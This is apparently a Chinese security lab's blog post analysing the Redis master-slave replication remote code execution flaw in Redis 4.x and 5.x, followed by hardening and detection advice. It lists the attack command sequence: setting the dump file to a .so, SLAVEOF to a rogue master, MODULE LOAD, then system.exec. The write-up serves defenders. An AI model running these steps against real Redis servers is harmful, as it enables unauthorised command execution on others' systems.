咨询服务热线

400-6446-808

创安实验室专栏
您的当前位置:首页 > 创安实验室专栏
创安实验室专栏丨Redis主从复制RCE分析
发布者:创信华通  发布时间:2023-01-09  浏览量:518次











古语有云:“学如逆水行舟,不进则退。”面对如今随时都在变化的网络安全环境更是如此。为此,创信华通微信公众号特开设“创安实验室专栏”,以记录创信华通创安实验室在技术上的探索,加强同行间的交流,相互学习,共同进步。


+

+

Redis主从复制RCE分析

漏洞描述

Redis是一套开源的使用ANSIC编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。由于其高可用性和速度优势,常用于缓存系统(“热点”数据:高频读、低频写)、计数器、消息队列系统、排行榜、社交网络和实时系统等。

Redis主从复制RCE是在主从复制基础上,通过复制恶意文件到本地,结合模块加载功能将恶意文件成功加载,调用恶意文件接口实现命令执行。

影响

Redis 4.x 和Redis 5.x版本

漏洞原理

Redis 2.8版本在原有单机架构的基础上,为了解决单机宕机的风险,引入主从复制的机制,通过主服务器将数据备份到从服务器上,由主服务器负责处理外部写操作,从服务器负责读操作。通过数据复制,Redis的一个master可以挂载多个slave,而slave下还可以挂载多个slave,形成多层嵌套结构。所有写操作都在master实例中进行,master执行完毕后,将写指令分发给挂在自己下面的slave节点。slave节点下如果有嵌套的slave,会将收到的写指令进一步分发给挂在自己下面的slave。

Redis提供了2种不同的持久化方式,RDB方式(在指定的时间间隔内生成数据集的时间点快照)和AOF方式(记录服务器执行的所有写操作命令).AOF方式备份数据库的文件名默认为appendonly.aof,可以在配置文件中通过修改appendfilename参数进行修改,无法在客户端交互中动态设置appendfilename,而RDB方式备份数据库的文件名默认为dump.rdb,此文件名可以通过客户端交互动态设置dbfilename来更改。

主从复制模式下数据单向从主节点流向从节点,在从节点首次注册时,会对主节点数据进行全量复制,复制过程中用offset记录读取的数据大小,以便中断后断点续传。如果从节点初始没有数据,通过主从复制,可以将主节点设置的dbfilename文件全量复制到从节点的dbfilename中,从而实现任意文件上传。

任意Redis服务器在启动时默认作为Master主节点,当执行SLAVEOF命令后自动发送请求注册成为目标的从节点,未对主节点信息进行校验。

在Reids 4.x之后,Redis新增了模块功能,通过写c语言并编译出.so文件作为外部拓展,可以实现在redis中实现一个新的Redis命令。

因此,可以通过自己模拟Redis服务器,通过执行命令设置将其设置为主节点,通过自行构造主服务器响应的情况,通过FULLRESYNC命令无损写入想要写的文件。结合任意模块加载,实现任意命令执行。

攻击流程

0x00 模拟Redis主服务器

主服务器需要执行的响应内容如下:

[>] PING – 从服务器探测主服务器是否存活

[<] +PONG  存活响应

[>] REPLCONF – 交换主从节点复制信息

[<] +OK     确认

[>] PSYNC/SYNC – 同步状态以及传输方式

[<] +FULLRESYNC  同步数据

0x01 复制加载

Config set dir /path/

Config set dbfilename test.so  修改备份文件路径

SLAVEOF host port 设置为对应服务器的从节点

MODULE LOAD /path/test.so 加载复制过来的

SLAVEOF no one  关闭主从复制关系(防止脏数据复制)

System.exec ‘command’ 执行命令

对应流量特征如下:

修复建议

主从复制RCE实现条件:

□ Redis可访问(未授权或有凭据)

□ 可动态修改备份文件路径

□ 主从未校验可信服务端

依据上述情况,可以对应防护:

① Redis设置访问白名单(入 防止恶意访问和出 防止恶意设置为主从)

② Redis添加认证

在配置文件/etc/redis/redis.conf中修改requirepasss属性为强口令,完成后重启服务器

动态命令设置config set requirepass YorPass

③ 重命名相关命令

在配置文件/etc/redis/redis.conf中

rename-command CONFIG PDZA1DA也可以rename-command CONFIG "" 设置为空来禁用

对于恶意特征,可以通过MODULE LIST命令查看当前加载的模块信息,重点关注非官方加载或者SYSTEM、EXEC等恶意关键词,监控Redis服务器上Redis进程写入的so文件(Windows为DLL文件),流量中可以重点关注FULLRESYNC命令以及相关文件二进制特征(Webshell,Cron,Authorized_keys,so和DLL等)。

E·N·D


本文由创信华通创安实验室编辑。

本文仅限于个人学习和技术研究,由于传播、利用此文所提供的信息而造成刑事案件、非授权攻击等违法行为,均由使用者本人负责,本单位不为此承担任何责任。创安攻防实验室拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。


如有侵权,请联系后台。




创安实验室

创信华通创安实验室,是成都创信华通信息技术有限公司旗下的技术研究团队,成立于2021年9月,主要研究红蓝对抗、重大安全保障、应急响应等方向。

创安攻防实验室圆满完成了多次公安举办的重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

创安攻防实验室秉承创信华通的发展理念,致力打造国内一流网络安全团队。